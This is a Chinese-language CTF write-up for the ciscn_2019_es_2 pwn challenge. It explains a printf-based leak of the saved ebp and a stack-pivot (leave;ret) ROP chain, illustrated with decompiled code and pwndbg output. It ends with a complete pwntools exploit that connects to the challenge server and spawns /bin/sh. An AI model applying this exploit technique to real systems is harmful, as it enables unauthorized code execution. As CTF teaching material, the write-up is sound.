ciscn-2019-es-2_writeup_栈迁移

借鉴于大佬写的一篇非常详细的文章 : https://bbs.kanxue.com/thread-266927.htm
checksec

1
2
3
4
5
6
7
[*] '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/BUUCTF/ciscn_2019_es_2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

IDA32

1
2
3
4
5
6
7
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
puts("Welcome, my friend. What's your name?");
vul();
return 0;
}

vul()

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-28h] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

看到有栈溢出的漏洞,但是 s 的缓冲区为 0x28 , read 读的是 0x30 , 只能溢出八字节

hack 函数中找到了 system 的地址

1
2
3
4
int hack()
{
return system("echo flag");
}

直接溢出肯定不可行,因为溢出长度太小,无法通过 ROPgadget 构造 get shell,这里就要用到栈迁移

栈迁移思路

  • 通过 padding 溢出 s, 因为 printf 函数输出是直到 \x00 才停止, 所以可以让 printf 一直输出,直到输出 ebp 的地址
  • 通过溢出在 s 的栈中写入
1
'aaaa' + system_addr + system_ret + bin_sh_addr + '/bin/sh' + rubbishdata + s stack start + leave_ret

详细解释一下

溢出 ebp 的地址:

因为 printf 函数输出是直到 \x00 才停止,用垃圾数据填满 s 的缓冲区,溢出后 printf 仍然没有接受到 \x00 , 所以会继续输出直到 ebp_old 的地址被输出
栈情况:

1
2
3
4
5
6
7
高地址
返回地址(main) EBP + 4
EBP EBP + 0
s[39] EBP - 0x01
...
s[0] EBP - 0x28
低地址

可以看出,缓冲区 s 被溢出后,第一个输出的就是EBP 的内存地址
编写脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# buuctf ciscn_2019_es_2 栈迁移 学习
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

pwnfile= './ciscn_2019_es_2'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)

padding = 0x28
io.recvuntil("name?\n")
payload = b'a' * (padding - 1) + b'b'
io.send(payload) # 注意用send, sendline 自动加 \n
io.recvuntil('b')
ebp_addr = u32(io.recv(4))
print("ebp_addr:",hex(ebp_addr))

ebp_addr: 0xffc90d98

printf 处查看 ebpesp 的偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> stack 20
00:0000│ esp 0xffffd1e0 —▸ 0x80486ca ◂— dec eax /* 'Hello, %s\n' */
01:0004│-034 0xffffd1e4 —▸ 0xffffd1f0 ◂— 'aaaa\n'
02:0008│-030 0xffffd1e8 ◂— 0x30 /* '0' */
03:000c│-02c 0xffffd1ec —▸ 0x804a044 (stdout@@GLIBC_2.0) —▸ 0xf7fa3d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
04:0010│ eax ecx 0xffffd1f0 ◂— 'aaaa\n'
05:0014│-024 0xffffd1f4 ◂— 0xa /* '\n' */
06:0018│-020 0xffffd1f8 ◂— 0
... ↓ 5 skipped
0c:0030│-008 0xffffd210 —▸ 0x80486d8 ◂— push edi /* "Welcome, my friend. What's your name?" */
0d:0034│-004 0xffffd214 —▸ 0xf7d8396c ◂— 0x914
0e:0038│ ebp 0xffffd218 —▸ 0xffffd228 ◂— 0
0f:003c│+004 0xffffd21c —▸ 0x804862a (main+43) ◂— mov eax, 0
10:0040│+008 0xffffd220 ◂— 0
11:0044│+00c 0xffffd224 —▸ 0xffffd240 ◂— 1
12:0048│+010 0xffffd228 ◂— 0
13:004c│+014 0xffffd22c —▸ 0xf7d96cb9 (__libc_start_call_main+121) ◂— add esp, 0x10
1
2
pwndbg> distance ebp esp
0xffffd218->0xffffd1e0 is -0x38 bytes (-0xe words)

栈迁移

解释我们所构造的 payload2

1
'aaaa' + system_addr + system_ret + bin_sh_addr + '/bin/sh' + rubbishdata + s stack start + leave_ret
  • 在栈结束的时候,会调用 leaveret
1
2
3
4
leave : mov esp; ebp
pop ebp

ret : pop eip

esp 回到 ebp 的位置,ebp 出栈,回到当前 ebp 所在的数据内存地址; 从 esp 的位置弹出 eipeip 指向当前 esp 所在的数据内存地址

所以 esp 会回到 ebp,也就是 s stack start 的位置 (也就是 s 栈一开始的位置), pop ebp 把 ebp 指向了 payload 中的 'aaaa' 内存地址处, esp 栈顶指针+0x04 , 指向了我们构造的 ROPgadget 指令 leave_ret, 又调用了一次 leave ;ret




再一次执行 leave ; ret
esp -> ebp -> 'A' * 4 地址处, pop ebp 不会改变位置,esp 移动到 esp + 4 处, pop eip 就相当于 eip -> esp = system_addr
后面的 'A' * 4 是 junk data ,为 system_addr 的 ret_addr , (original_ebp-0x38)+10 , 也就是 /bin/sh\x00




也就是说,绕了这么大一个圈子,最终只是为了调用

1
2
3
system_addr 
ret
'/bin/sh\x00'

解题脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# buuctf ciscn_2019_es_2 栈迁移 学习
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

pwnfile= './ciscn_2019_es_2'
# io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
io = remote("node5.buuoj.cn",27625)

padding = 0x28
io.recvuntil("name?\n")
payload = b'a' * (padding - 1) + b'b'
io.send(payload) # 注意用send, sendline 自动加 \n
io.recvuntil('b')
ebp_addr = u32(io.recv(4))
print("ebp_addr:",hex(ebp_addr))

system_addr = 0x8048400
leave_ret_addr = 0x08048562

payload2 = b'a' * 4 + p32(system_addr) + p32(0) + p32((ebp_addr-0x38)+0x10) + b'/bin/sh'
payload2 = payload2.ljust(0x28,b'\x00') + p32(ebp_addr-0x38) + p32(leave_ret_addr)
io.send(payload2)
io.interactive()